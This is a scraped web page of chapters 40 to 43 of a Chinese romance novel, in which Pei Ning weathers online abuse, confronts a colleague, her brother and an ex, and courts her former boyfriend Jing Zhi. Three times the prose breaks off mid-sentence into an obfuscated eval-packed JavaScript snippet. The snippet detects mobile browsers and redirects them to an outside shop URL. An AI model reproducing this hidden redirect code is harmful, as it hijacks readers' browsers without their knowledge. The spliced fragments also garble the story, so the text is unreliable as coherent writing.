“时间差不多了,我们上去吧。”方昀游终于开口,仍是万年不变的波澜不惊,“裴总,朱总,请吧。” 井稚稍退一步,将裴凝的包递给她。 “别紧张,我就在这等你。” 裴凝点了点头,笑得更坦然了些,转身和他们一起进了大楼。 电梯上,许溪拉着裴凝小声问:“凝姐,你俩真没和好?” 裴凝瞥了站在前面的方昀游一眼,故意提高些声音道:“没有。不过我倒是有把他追回来的想法。” “啊?他还用得着你追?你不是勾勾手指他就回来了?” 许溪把心里话直接说了出来。 裴凝摇摇头:“是我亏欠他比较多,要追的。” 许溪侧了侧头,眼神仍有不解。 “好吧。不过凝姐,当时我就觉得你俩分不了,我还和飞雀打赌呢,这回我可以找她请我吃饭去了……” 许溪口无遮拦地全抖搂出来,朱情一直在旁边“咳咳”地提醒。 说完,许溪看到裴凝皮笑肉不笑的表情,才反应过来。 “你们还打赌了呀?” “啊?……不是凝姐,我绝对没有拿你的私生活开玩笑的意思……好吧对不起凝姐,我错了。” 裴凝没生气,反而问道:“你怎么知道我们分不了?” 许溪眼神犹犹豫豫,不敢说。 “放心说,我不生气。” 有了裴凝这句话,她才敢斟酌着开口:“就是……凝姐你这么好,别说井稚了,换做我我也喜欢啊,你还那么喜欢他,你俩有啥理由分手啊?” 裴凝有些讶异:“我喜欢他,很明显吗?” “明显呀!” “具体说说呢?” 许溪挽着裴凝滔滔不绝起来:“凝姐,你在外人面前太坚强了,坚强得不像个真人——我没有骂你的意思——但是是人就会有脆弱和疲惫呀,你只有在井稚身边的时候,眼里才会透出真实的情绪,才会有小孩子气,就像终于有人和你一起承受压在你身上的担子一样,这还不是喜欢是什么……” 一语点醒梦中人。 怪不得这一年过得这么累,原来是没有人能让裴凝卸下伪装了。 电梯到达,裴凝眼含笑意,看着许溪,真心实意地说道:“谢谢你,小溪。不用飞雀破费,我请你俩吃饭。” 许溪“哎”了一声,虽然没懂为什么,但还是开心地跟上裴凝。 “我就说吧,凝姐你最好了!” 不知不觉落在最后的方昀游,静默地垂下眼神。 40. Chapter 40 裴凝曾经设想过,如果有一天,自己需要把伤疤翻出来给所有人看,她会是什么样的心情。 可这一天真正到来时,裴凝却发现,自己异常平静。 也许是故事已经讲了好几遍,也许是她已经被网友骂得麻木。 也许是,她知道井稚在陪着她。 总之,她没有表现出一副楚楚惹人怜的模样,流畅且自如地回答完了所有采访的问题。 汹涌的难过被掩在内心的静海下,裴凝已经不会再因为这些事而流泪了。 “裴老师,辛苦了。” 主持人示意关掉镜头,起身客气道。 “没有,您也辛苦了。” 一直站在一边的方昀游适时上前社交,解放了口干舌燥的裴凝。她不动声色地隐到一旁,接过朱情递过来的水。 “还好吗?” “什么还好吗?“ 朱情指指她。 “你。“ “怎么说呢,”裴凝抿唇,干涸的嘴唇沾上水润,“我现在有些迫不及待看到报道。” “啊?为什么?” 许溪不解。 “因为我这次打算让他们永远滚出我的人生。” 朱情看到裴凝充满胜负欲的神情,安心地拍了拍她。 “你们和方总回公司吧,井稚送我。” “哎,方总刚才说有事找你,让你等他一下。” 许溪见裴凝转身要走,才想起方昀游刚才的嘱托。 “什么事?” “不知道,他没说。” 裴凝看了一眼已经和媒体打完招呼,转身往这边走的方昀游,顿了下步子。 “方总,你找我?” 方昀游刚走到面前,裴凝就问道。 “裴总,方便吗,找个地方聊聊?” 裴凝想了想,摇摇头:“不太方便。如果很急的话,在这说就行。” 方昀游似乎是没有想到裴凝会拒绝,停顿了一会儿才答:“不急,那就回公司说吧。” “好。”裴凝跟三人摆了摆手,“那我先走了,公司见。” 裴凝几乎是一路小跑地下了楼。她提前给井稚发了消息,所以一出大楼的门,她就看到了站在门口等她的井稚。 裴凝很自然地跑进了他怀里。 “结束了?” 井稚揉揉她头发。 他现在好像格外喜欢摸她脑袋。 像以前的她一样。 “嗯。” 裴凝如释重负般点点头。 “现在回公司吗?” “回,攒了一堆事。” 两人上车后,裴凝问井稚:“你一会儿还回父母那吗?” 井稚愣了一下,含糊地应下:“应该吧,怎么了?” “晚上有事吗?要不要跟我一起吃饭。” 井稚克制住了想立刻答应的嘴,咳了两声,故意抻道:“看看吧。” 裴凝撇嘴,“啧啧”两声:“忘了井老板忙,顾不上我,下次我一定记得提前预约。” 井稚没理她的阴阳怪气,只是侧过脸去看后视镜时,悄悄扬了嘴角。 - 裴凝一直忙到快下班才清理完堆积的工作。 闲下来后,她想起好几天没上社交媒体了,突然脑子一抽,想上去看看,结果刚登录账号,99+的消息提醒就把软件挤爆了。 颤颤巍巍点开一看,开屏就是国粹,裴凝直接两眼一黑。 她虽然不是第一次经历网暴,但之前也就是在写手圈被骂一骂,这种与全民为敌的阵仗她还是第一次见。 裴凝暗骂自己手欠,刚要退出,又刷新了一条最新评论。 是回复那条国粹的。 【@洛洛天下第一:你知道什么啊就在这骂?等着被打脸吧你!】 难得看到一条为自己说话的,甚至还是自己的钻粉,裴凝有点好奇,她往下一翻,发现了好几条这个账号的评论,无一例外,全是在回怼那些骂人的网友。 裴凝下意识点开账号主页。 主页没有什么内容,最近一条微博还是去年夏天发的,没有配文,只有一张照片。 照片有点奇怪,是半捧玫瑰花。 ……等会儿,半捧玫瑰花? 裴凝定睛,仔仔细细地放大看。 半分钟后,她放下手机。 破案了。 是井稚在网上冲浪呢。 裴凝扑哧一乐,反手就点了个回关。 再刷新评论,就刷不出“洛洛天下第一”的回复了。估计是发现自己掉马了,正抱头懊悔呢。 裴凝想起他那副可爱的样子就忍不住眉眼弯弯。 正靠在椅子上抱着手机笑个不停,忽然有人敲门。 裴凝说了声“进”,抬眼瞧去。 是方昀游。 裴凝笑意顿失,皱了下眉,又很快舒展开,坐直身子。 “方总,有什么事吗。” 方昀游没有上前,先问道:“裴总现在方便了吗?” 裴凝起身,往沙发走去。 “方便。方总喝什么?” “水就好。” 在沙发落座后,方昀游开门见山:“裴总,我还是想正式和你道个歉。” 裴凝静静地看着他,没有接话。 未得到回应的方昀游有些尴尬,但还是清了清嗓继续说着:“你那天说的话,我认真想了想,确实是我做的不妥。我以为这样是对你最好的方式,所以就擅自做了决定,但我只是想保护你,不是想伤害你,真的。” 裴凝能看出方昀游的神色难得带了些隐忍,不同于一贯的平静无澜。 但她的眸光却很淡漠。 “方总,你知道我最不喜欢你什么吗?” “什么?” 方昀游抬了抬头。 “你太自以为是了。我知道你自信、聪明、果敢,我也接受我们有不同的观念和行事方式,但我不能接受你不考虑别人感受的武断。” 方昀游若有所思,似乎在措辞。 裴凝由衷佩服他,即使被这样贴脸指责,他依旧面不改色。 “抱歉,我确实没有想到那么多。我是对你造成了非常大的伤害吗?” “对,非常大。我的痛苦被你当作炒作的资本,并且完全忽视我本人的意愿,这很不尊重我,我不能接受。” 裴凝直到此刻才体会到许溪所说的方昀游家境优渥的深层含义。 他其实根本理解不了裴凝的痛苦,他认为只要是能换取利益的,就都是可以利用的资源。 他应该从小就没有吃过什么苦吧。 “那我应该怎么补偿呢?” “我们就公事公办吧,方总。公司这次的决定没有保护我本人的隐私,所以我会向顾总提出我的诉求。我希望方总能撤出破晓项目,未来由我和朱情全权负责。当然,这只是我的诉求,具体决定权在顾总,也在您。” 方昀游终于露出一丝不解,眸光深邃幽暗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262531|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我们一定要这样吗?” “是的,一定要。” 裴凝不卑不亢地对上方昀游的眼睛。 终于,还是他先挪了视线。 “好吧。我尊重你。” 裴凝看了看时间,起身送客。 “方总,快下班了。” 方昀游听出她意思,但没有像往常一般识趣地离开,反常道:“一起走吧,我也下班。“ 裴凝刚想拒绝,后来一想,反正电梯间也得碰上,所以没有说什么,随他在那站着。 穿好外套,拿了包,裴凝和方昀游一同往电梯走去。 沉默的电梯间,只有他们两人在等电梯。裴凝看着层数越来越接近,正准备暗舒一口气,结果电梯门打开后,她看见了一个再也不想看见的人。 裴盛。 裴凝立刻警觉地退后。 “你来干嘛?“ 方昀游见裴凝防备的样子,虽然不知道发生了什么,但跨步挡在了她面前。 “裴总,认识?“ 裴盛还是那副欠揍的表情。 “姐,你们楼下换保安了?好像不知道我在这大楼的黑名单上,放我进来了呢。“ 裴凝直接翻白眼:“神经病。“ 方昀游听懂了他们的关系。 “你那个弟弟?“ “方总,我们走。“ 裴凝想越过裴盛上电梯,但他仗着长手长脚,一跨就拦住她去路。 “姐,这么久不见,你怎么也不和弟弟唠唠家常啊?“ “唠你大爷。“ “我可是专门来看你笑话的,被网暴的滋味怎么样啊,姐?“ “你现在的当务之急是少看点脑残小说,戳俩眼珠子装什么疯批人设呢。“ 裴凝冷笑,干脆不走了,眼尾挑着,不屑地看着他。 “你别嘴硬……呦,这是你钓的新男人啊?“ 裴盛终于注意到了方昀游,上下打量道。 “管得真宽。能不能滚远点?“ 裴凝拽着方昀游就走,却不想裴盛直接耍赖地卡在电梯门框中间。 “是不是公司保不住了,傍上有钱人了?这位帅哥,我姐不愿意给我钱,要不你给我吧,只要你爽快,我绝对让我们爸妈上网给我姐洗白。“ 裴凝早知道找媒体曝光这主意不是裴宁海能想出来的,肯定是裴盛在搞鬼。不过她还是高估了裴盛,本来以为就是纯粹地报复她,没想到到头来,还是为了钱。 “方总,别理他,我叫保安。“ 裴盛显然还不知道她接受采访的事,丝毫不掩饰嚣张气焰。他伸手去抢裴凝手机,忽然,身后的电梯门开了。 裴凝闻声,下意识透过裴盛和电梯门框的缝隙看去、 是井稚。 后面还跟着几个保安。 他神情冷冽,眸色含霜,一把抓住裴盛后颈,稍一用力,直接把人甩给保安。 “离她远点,离这座大楼远点。”井稚将裴凝护在身后,眼睛死盯着裴盛,“最好离这座城市也远点,否则我见你一次揍你一次。“ 裴盛的胳膊被擎住,两腿使劲扑腾着,还想说什么,但被保安拽进了电梯,其中一个保安疯狂按着关门键,裴盛半句话都没说完。 裴凝很想笑,但又觉得不太合适,使劲想着难过的事,憋了回去。 刚想问井稚怎么来了,裴凝就见他转过身去,依旧挡在她身前,对着方昀游道: “你也离她远点。“ 41. Chapter 41 裴凝心里在想,这小子今天这么帅吗。 方昀游倒是有些没反应过来,下意识反问:“什么?” 裴凝想及时插话,避免气氛太尴尬了,结果就见井稚轻轻一跺脚,往前上了一步。 “什么什么啊?”井稚憋不住地露出孩子气,“说他没说你是吗?你再欺负裴凝我跟你不客气……” 得,方才的冷酷全无。 裴凝赶紧拽着人进电梯。 “方总,我们先走了。” 她也开始疯狂按关门键。 进了电梯的井稚还气呼呼地瞪着眼睛,鼻翼微缩,呼吸深一下浅一下,看起来还能大干一架。 可爱得冒泡。 “对了,那小子没伤害你吧?” “嗯?哪个小子?” 裴凝正看着他出神,冷不丁听见他问自己,随口回了一句。 “你弟啊!他没像上次一样动手吧?” “没有,放心吧。”裴凝抬头看他,终于想起来问,“对了,你怎么知道他来找我了?” 话音落下的时候,电梯正好到达一层。 正是下班时间,大厅人很多,井稚不自觉地靠近裴凝,肩膀前后贴着,若即若离,替她阻挡着熙攘的人群。 “我来的时候正好看到他上楼,我马上就去找保安了,结果他们换了人,不认识裴盛,我交涉半天,最后还是去了安保室,找了他们领导,才说通他们上楼抓人。” 井稚说起来就气,路过门口的时候还偷偷指着其中一个保安,和裴凝告状:“你看,就是他!怎么说都不听,还要撵我!” 裴凝安慰地摸了摸他脸侧:“哎呦,辛苦了。” 下一秒,裴凝话锋一转,挑眉看去:“不过,你怎么来了?” “不是你说要一起吃饭……” 井稚还在想刚才的事,顺着她的话脱口而出,说完才发现失言,紧急噤声。 但是已经晚了,裴凝已经意味不明地笑起来了。 “井老板不是没答应?”她食指蜷了半圈,轻轻勾了勾井稚下巴,“看来还是想我的呀。” 又被她钻了空子调戏,井稚别扭地挡掉裴凝胳膊,快步往前走。 “哎,等等我呀。” 裴凝很自然地上了他的车。 “你上来干嘛?” “吃饭呀。” “不去。” “不去你也得送我回家。” “为什么?你车呢?” “我没开呀,你忘啦,今天是你送的我。” 井稚语塞,想了想,确实是这样,只能生着闷气启动车子。 “不过,还是先吃了饭再回吧,我好饿啊,中午都没吃饭。” “你怎么又不吃饭?!” 井稚立刻扭过头来,音量完全盖过了裴凝。 “忙嘛……” 裴凝小声辩解。 见井稚真生气了,裴凝也不再逗他,拍拍他绷得紧的胳膊。 “好啦,今天听你的,你想吃什么,我请客。” 井稚一言不发地在路口掉头,追着月亮穿行过晚高峰。 - 裴凝没想到井稚带她来了一家很不起眼的小馆子。 有些发黄的招牌,充满年代感的门帘,朴素但干净的内设,处处透露着与今天一身皮衣的井稚不搭的气息。 “怎么想到来这里?” “脑子里想到就来了。” 正是饭点,一共只有六张桌子的小店挤满了人,只剩角落里一张小桌,井稚带裴凝过去坐下,然后轻车熟路地到前台拿起菜单和一张纸。 “张姨,我自己写了啊。” 井稚冲着厨房方向喊了一声。 被他称为张姨的人探出头来,看到是井稚,顿时喜笑颜开。 “小井来了呦,你写你写,我忙完招呼你啊。” 裴凝看着回座的井稚,好奇问:“你经常来吗?” “嗯,旁边一中是我母校,我上高中的时候就常来。” 和毕业后搬到青城定居的裴凝不同,井稚是土生土长的青城人。这座城市对他来说,有很多回忆。 “那肯定是宝藏店了,我今天得多吃点。” 裴凝拿过菜单,仔细看起来。 “糖醋里脊很好吃,你应该会喜欢。蛋黄焗南瓜也不错,不过这个点人多,这个菜估计要慢点。还有这个,风味茄子、酱爆桃仁鸡丁,甜点的话炸鲜奶不错……” 井稚不用看菜单,就能将菜品娓娓道来,看得出是来过很多次了。 而且他说的菜,全是合裴凝口味的。 裴凝抬起头,眼睛弯弯地眯在一起,等井稚话音落下,才缓缓开口:“井老板,这么长时间了,还记得我爱吃什么啊?” 井稚已经重新开始习惯裴凝的调侃了,所以懒得理她,低头去写菜。 “快点吧,不是饿了吗。” 裴凝从井稚推荐的菜里挑了两个,井稚一一写好递给后厨。 毕竟人多,菜上得不算快,等了一会儿才上了两个菜。 张姨端着糖醋里脊放到他们的小桌上,在围裙上抹了抹手,又给他们拿了一壶茶。 “小井,这是带女朋友来啦?” 她笑得眉不见眼,给两人倒茶的时候,眼睛直往裴凝身上瞅。 井稚有些尴尬,踌躇半天也没想好怎么形容他俩的关系。 “张姨,井稚说您做得菜好吃极了,特意带我来的呢。” 裴凝解围道,起身接过张姨手里的茶壶,示意她不用忙。 “哎哟,长得真好看,嘴也甜,小井有福气喽。” 张姨咯咯笑着,眼神在两人中间来回转。 “哪里,您说笑了。” 打趣两句,张姨便回后厨忙了。 裴凝看着有些脸红的井稚,轻声笑道:“下次再有人问我是不是你女朋友,你就应下呗,前女友也是女友呀。” 井稚憋了半天,只从鼻子里轻轻“哼”了一声,没再说话。 菜上齐后,裴凝确实饿得厉害,很快便吃下半碗米饭。 井稚放在桌上的手机亮了,裴凝不小心瞥到屏幕,看见最新的消息提醒显示着社交媒体的图标,她忽然想起白天发现井稚账号的事。 于是她一边给井稚夹着菜,一边状似不经意地问:“洛洛天下第一,这回吵了几天几夜啊?” “什么?” 井稚嘴里塞着饭,没反应过来,咽下去后迷茫地看她。 半晌,耳垂倏的红了。 “你好烦。” 他小声抱怨。 裴凝看着垂下头去的人,放下碗筷,捏了捏他发烫的耳朵。 还好桌子够小,她一伸手就能触碰到他。 “辛苦啦,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277825|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大粉。” 井稚没抬头,声音透过层层阻隔传来:“不想让我辛苦你就少挨点骂。” “我也不想呀,但我控制不了嘛。” 井稚这些天在网上为裴凝据理力争,算是见识到了骂人的一百种方式,各种难听的、污秽的、不堪入耳的话,全部都挤进裴凝的评论区,他常常只是看到,就已经气得发抖了。 更不要提裴凝本人。 想到这些,他心疼得软下肩,依旧没抬头,但给裴凝夹了一大块里脊肉。 “那就好好吃饭,气死那些黑粉。” 裴凝的眼珠子转了转,然后定格在井稚头顶:“可能不行。” “为什么?” 井稚果然立刻抬头。 “我忙起来就会忘记吃饭。” “……那就设个提醒。” “那也没用,还是会忘。” “……你成心气我是不是。” 裴凝托腮,眨巴眼睛:“要不你来提醒我吧。” “我?怎么提醒?” “打电话,发微信,都行。当然,如果你能直接来找我吃饭的话,就更好了。” 井稚无奈地看着打定主意要耍赖的人。 “不行,这不合适,我们……” “我们分手了。”裴凝打断他,眼里淡淡笑意不减,“所以啊,井稚,为了让我好好吃饭,我们和好吧。” 井稚的动作停住,呼吸滞了一瞬。 周遭吵闹的声音逐渐消失,只剩下裴凝的轻言细语,在耳边振聋发聩。 他花了一些力气,才找回自己的思绪。 然后轻轻摇了摇头。 “不,不和好。” 裴凝没有想到他会拒绝,后面已经准备好的情话堵在了嘴里。 “为什么?” 井稚没有看她,叹了声。 “我不想再稀里糊涂了。” “什么稀里糊涂?” “稀里糊涂地接吻,稀里糊涂地在一起,稀里糊涂地分手。”井稚的手紧握着,藏在桌下,“裴凝,我们是因为有问题才会分手的。问题都没有解决,怎么和好?” 裴凝没有因为被拒绝而丧气,相反,她出奇地耐心,很温和地看着他。 “那你想怎么解决?” 井稚没料到裴凝会是这样的反应,他本以为裴凝又会皱着眉和他理论,所以已经做好了不欢而散的准备。 抬头对上裴凝的眼神,井稚的手松开些,放到桌上。 “只要你想明白一个问题。” “什么问题?” “你为什么想和我在一起?” 他们之前就是没有搞清楚这个问题,所以走着走着便散了。 井稚不想再这样。 “因为我喜欢你呀。” 裴凝很直接地表白。 “不,这不对。你喜欢我什么?是喜欢和我接吻,和我上床,和我一起玩,还是喜欢我这个人?喜欢有很多种,但不是所有喜欢都适合在一起。” 裴凝若有所思。 “我懂了。所以你想让我想清楚,我的喜欢到底是针对某件事、某种感觉,还是针对你这个人,你的全部,是吗?” “……差不多吧。” 得到肯定答案后,裴凝笑着捏了捏他的脸颊。 “那我们一起去寻找吧,我喜欢你的原因。” 42. Chapter 42 采访很快就登上了各家媒体官号,裴凝的叙述严谨、细节、有逻辑,比起裴家人的胡编乱造,听起来可信得多。 再加上裴悯近些年本就作为女性主义创作者领袖,受到众多年轻人追捧,报道中涉及她的部分更是激起了许多人的愤怒和共鸣,讨论度居高不下。 一石激起千层浪,许多蹭热度的自媒体博主涌入裴凝老家,找到裴家当年的亲戚邻居,大家讲出的事实都与裴凝所言无二,一段时间后,裴宁海和赵莹的那番话,彻底被钉在了网络的耻辱柱上。 当然,那些被找到的人,都是方昀游提前打点好的。 单论工作能力,方昀游的判断确实精准、果断,行事从不拖泥带水,也足够狠厉。 舆论如他所预料,彻底发生逆转,他再一次创造了一个成功的公关案例。 只是他为了走向正确答案,总会牺牲掉一些他认为不重要的东西,而这次牺牲的恰恰就是裴凝的伤痛。 裴凝已经和顾青山沟通过这件事,当然她最终并没有要求方昀游退出破晓项目,毕竟这次危机是他解决的,裴凝还不至于过河拆桥,她只是提议能将更多的公关决策权交给许溪,培养她独立带领部门的能力。 顾青山同意后,方昀游便准备离开青城了。 这次他难得没有来和裴凝道别,只是在上飞机前,给裴凝发了一条微信。 【裴总,这次回去,之后应该就很难再见了。道歉的话我说了许多遍,也许你已经厌烦,但请允许我再说最后一次。 我的人生像是一条笔直的跑道,我永远都盯着那个终点,所以伤害了许多过路的人,也错失了许多风景。直到你的出现,让我开始驻足、彷徨。 一开始,我只是欣赏你的能力,后来却逐渐贪恋你的美好和光芒。很可笑,我确实动过想要将你占为己有的念头。 只是很可惜,我不会应对我自己的这些情绪,最终还是没能战胜我跑向终点的本能,所以伤害到了你。 对不起,希望你以后能一切顺遂,得到一个与你的努力相匹配的结局。】 裴凝读完,敲下几个字,想了想,最终还是删掉,只是回了一句。 【谢谢,祝你也是。】 放下手机,裴凝向后仰了仰身子,靠在椅背上,看着天花板。 风波过后,破晓运行已逐渐恢复,只剩裴凝还有一种大战后的疲惫。 每天上网都能看到无数人在讨论她的隐私,骂人和安慰参半的私信割裂又滑稽,微信聊天页面被根本不知道是谁的联系人塞满,满世界的人似乎都突然开始关心她。 她感觉很累。 打开手机日历,裴凝数了下日子,还有不到半个月就过年了。 她想了想,坐起身子,在电脑上搜索起来。 找到满意答案后,裴凝给井稚打去电话。 井稚这段时间一直待在江城不回来,裴凝又忙着公司的事,两人已经一周多没有见过面了。 “过年放假出去玩吗?” 井稚刚接起来,裴凝就开门见山地问道。 “过年?去哪?” “不告诉你。”裴凝软下声音,难得撒娇,“你就说去不去嘛。” 井稚又在那边矜持起来:“咱俩单独出去玩,不合适吧。” 裴凝翻了个白眼。 “分手了”、“不和好”、“不合适”这些话,裴凝最近听了无数遍,都已经免疫了。 “亲爱的井老板,我们虽然分手了且不和好,但我们还是朋友,而朋友之间一起出去玩是非常合适的。” 井稚支吾了一会儿,最终含糊道:“我看看吧。” 裴凝对他了如指掌,这种反应,就是已经答应了。 “那说好了,过年七天空出来哈,我到时候去接你。” 说完,裴凝不管井稚再说什么,直接挂了电话。 她拿出手机,搜索着订票信息,心情终于好起来一些。 - 大年初一早晨,裴凝如约到井稚父母家楼下接他。 井稚一上车,裴凝就递过去一份早餐和咖啡。 “我让你带的保暖装备都带了吗?运动服呢?” “带了,”井稚接过,好奇地看她,“到底去玩什么?” “去了你就知道了。” 裴凝神秘兮兮的,发动车子往机场去。 为了以防初一堵车,裴凝特意早些出来的,结果没想到路况畅通,很早就到机场了,值完机后还有一段时间才起飞。 坐在休息区,裴凝见井稚偷偷在旁边搜索滨城攻略,当机立断没收他手机。 “不许查,说好了这次不用你操心,都听我的。” “我这不是做两手准备……” 井稚小声抗议,被裴凝用眼神瞪回去。 她就知道井稚喜欢包揽一切,所以特意没有告诉他自己的安排,就怕他又开始忍不住做攻略。 两人打闹着争夺手机,没注意有个身影走到他们面前。 “裴凝?真的是你啊?” 一个男声从头顶传来,裴凝和井稚同时抬头看去。 看清来人后,裴凝的笑容瞬间消失了。 她在想,出门没看黄历吗,怎么碰上这个倒霉玩意了? “你认识吗?” 井稚扭过头来小声问她。 “不认识。” 裴凝说得多少有点咬牙切齿。 “哎呦,裴大作家,怎么还装不认识呢?人火了就是谱子大哈。” 那人直接在两人对面坐下了。 “不是你说的以后路上碰到了就当不认识吗?” “呦,裴裴,这么多年了还记得我说过的话呢?你不会还对我余情未了吧?” 裴凝真想给他一拳。 井稚还在懵,就见那人忽然扭过来冲自己道:“你是她新男朋友吧,你好,我是裴裴前男友,算是你前辈了。” “周逸,你有病就去医院,别在这丢人。” 裴凝拉着井稚起身,想离开这里,结果周逸也跟着起来,拦住他们去路。 “别走啊,这么久不见,说几句话都不行啊。” “不行。” 周逸算是裴凝分手分得最不体面的一任前任了。 两人是在酒吧认识的,裴凝和朋友玩游戏输了,做任务随机搭讪到他。周逸在她审美上,一来二去拉扯一段时间后,两人没有深入了解,一时上头便在一起了。 后来,裴凝发现周逸和她谈恋爱的同时还出轨了四五个妹妹,为此骂了自己好长时间眼瞎。 最可气的是,周逸离开时竟说他俩半斤八两,都不是什么好人。 这事气得裴凝封心锁爱了大半年,并把他写成了小说反派。 好在两人不同城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304825|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,裴凝还以为这辈子碰不上这死渣男了呢。 “我看你们也不着急,能碰上是缘分,聊聊呗,我最近还梦到你了呢。” 裴凝冷笑:“怪不得我这段时间这么触霉头。” 井稚见周逸一直往裴凝身前靠,不动声色地站到她面前,背过去的手拽住裴凝,准备带她走。 但是两排座椅间缝隙不算大,周逸把出口完全堵住,一点没有让开的意思。 “哦,你是说你家里那个事吧?我看新闻了,裴裴,你早该跟哥哥说你那么可怜呀,我当时肯定对你再好点。” “怎么对我好?少出轨几个小姑娘?” 裴凝眼皮一掀,目光沉沉。 “他出轨?还好几个?”井稚没忍住惊呼出声,“太不是人了吧。” 裴凝没憋住地笑起来,心想井稚说话果然直接。 “你说谁不是人呢?”周逸显然恼羞成怒了,瞪着井稚,“你再说一次?” 井稚一副理所当然的表情:“不是,你都出轨了,还指望听什么好话啊。” 裴凝拽着井稚的衣服,从他身后探出个脑袋:“就是就是。” 周逸脸憋得有些红,转而指着裴凝,疯狂输出:“你以为她是什么好人啊?她养过的鱼比我多多了,你还帮她说话,你是被她当枪使了!” 裴凝一听这话就来气。 “合理合法,你情我愿,我单身的时候养养鱼怎么了,你不也是鱼上位吗?但你和我谈恋爱的时候还欺骗那些小妹妹的感情,到处说自己单身然后骗人家给你花钱,这性质不一样吧?” 裴凝忍不住想上前和他理论,被井稚抬手拦住。他横在两人中间,坚决不让周逸有半分靠近她的可能。 “别把自己说得那么好听,你什么货色我还不清楚?” 井稚的脸色瞬间阴沉,他眯起些眼睛,往前逼近周逸。 他比周逸高出一头,靠近时,带着让人窒息的压迫感。 “什么货色啊?你说说,我听听。” 裴凝本来吵得正上头,刚想跟井稚说别拦着她,就感觉身前一空。反应过来后,她看到井稚的眼睛里射出冰箭,直直戳在后退两步的周逸身上。 她怕井稚揍他,及时上前拽住。 “别跟他一般见识。” 奇怪,怎么变成她拦着他了? “怎么不说话了?” 井稚的眼神锁在周逸身上,拍了拍裴凝拽他胳膊的手,继续问着。 周逸面色有些犹豫,但还是梗着脖子道:“她跟很多人睡过了!” 井稚面不改色:“所以呢?” “这你都能接受?” “跟你有什么关系?” 裴凝听不下去,几步上前,使了点劲,推开周逸。 “井稚,我们走。” 她把包拿起来,拉着井稚就走。 “兄弟,甭管她跟你装得多纯情,都是假的,你别被她给骗了!说不定你也就是她的一条鱼!” 周逸转过身来,不死心地对井稚道。 裴凝忍无可忍,正要回头骂他,却听井稚沉稳的声线越过她头顶。 “无所谓。” 裴凝和周逸一齐看向他。 “什么?” 周逸似乎是觉得自己听错了,眼睛有些不可思议地睁大。 “我说,无所谓,我甘愿被她骗。” 43. Chapter 43 穿过廊桥的时候,井稚的余气还未消,似乎完全忘了他曾说的“不合适”一类的话,右手紧紧攥着裴凝的手指,步子走得飞快,差点让裴凝以为他们还没上飞机就要原地起飞了。 裴凝的手被他握得有些吃痛,但她很喜欢看小狗为自己生气的样子,有种带着稚气的乖,所以她吃下了这点苦,不停侧过眼神去,盯着井稚颤动的睫毛看个不停。 直到坐在座位上,井稚才终于把手松开,只是腮帮子还悄悄鼓着,显然还没有从刚才的情绪里走出来。 裴凝买机票时有些晚了,头等舱没有买到,退而求其次买了商务舱,所以俩人座位隔着的距离不算太宽。 裴凝转过半个身子,胳膊撑着扶手,有些硌人。她伸手过去,指尖触碰到他藏在围巾下的皮肤时,有种冰雪消融的温暖。 裴凝的体温经过室外寒风的洗礼,更加冰凉。她明显感觉井稚本能地缩了一下脖子,但是没有躲开。 裴凝的手指攀上他下巴,慢慢把他的脸转过来。 “真不怕被我骗?” 她嘴角噙着笑,是难得不带调戏意味的认真询问。 井稚被她瞧得有些不好意思,眼神垂在斜下方,没有说话。 他的耳垂红红的,不知道是不是被刚才的风吹的。 “井稚,谢谢你。” “谢什么?” “谢谢你帮我说话。” 井稚把身子窝回椅子里,围巾往上跑了跑,盖住他小半张脸。 他的声音听起来有些模糊。 “不是为了帮你。” 裴凝觉得有些热,于是脱下外套,垫在胳膊下,终于不觉得硌得疼了。她一直看着井稚,眼底荡漾着,像一湖与窗外冷空气相悖的春水。 “那是为了什么?” 井稚被她看得越发燥热,一点一点把脸扭到另一侧,只留给她大半个后脑勺。 “不为了什么,就是说了真心话而已。” 裴凝笑意更深,春水化夏风,蹭着井稚的肌肤拂过。 “井稚,虽然接下来的话听起来很像渣女语录,但我还是想说,”裴凝用两个指尖轻轻拽起井稚一角衣服,朝自己扯了两下,终于看到他回过头来,“你对我真好,你是第一个对我这么好的男人。” 井稚忍不住一哆嗦,鸡皮疙瘩掉了一地。 裴凝看起来挺深情的……但这话从她嘴里说出来怎么就这么奇怪呢? “是你之前眼光太差了。” 井稚把刚刚和空姐要的毯子打开,又折成正好能盖住腿的大小,递给裴凝。 “睡一会儿吧。” - 落地后已经是下午。 正是春节期间,机场人满为患,井稚将裴凝护在怀里,她稍微走远一点就要把她揽回来,生怕她走丢。 裴凝最近发现,井稚真的很喜欢保护她,之前她总觉得自己不需要别人保护,况且她比井稚多吃几年饭,怎么也该她保护他。但现在裴凝觉得,偶尔满足一下小孩的保护欲和虚荣心,看着他得意的神色,也是一种乐趣。 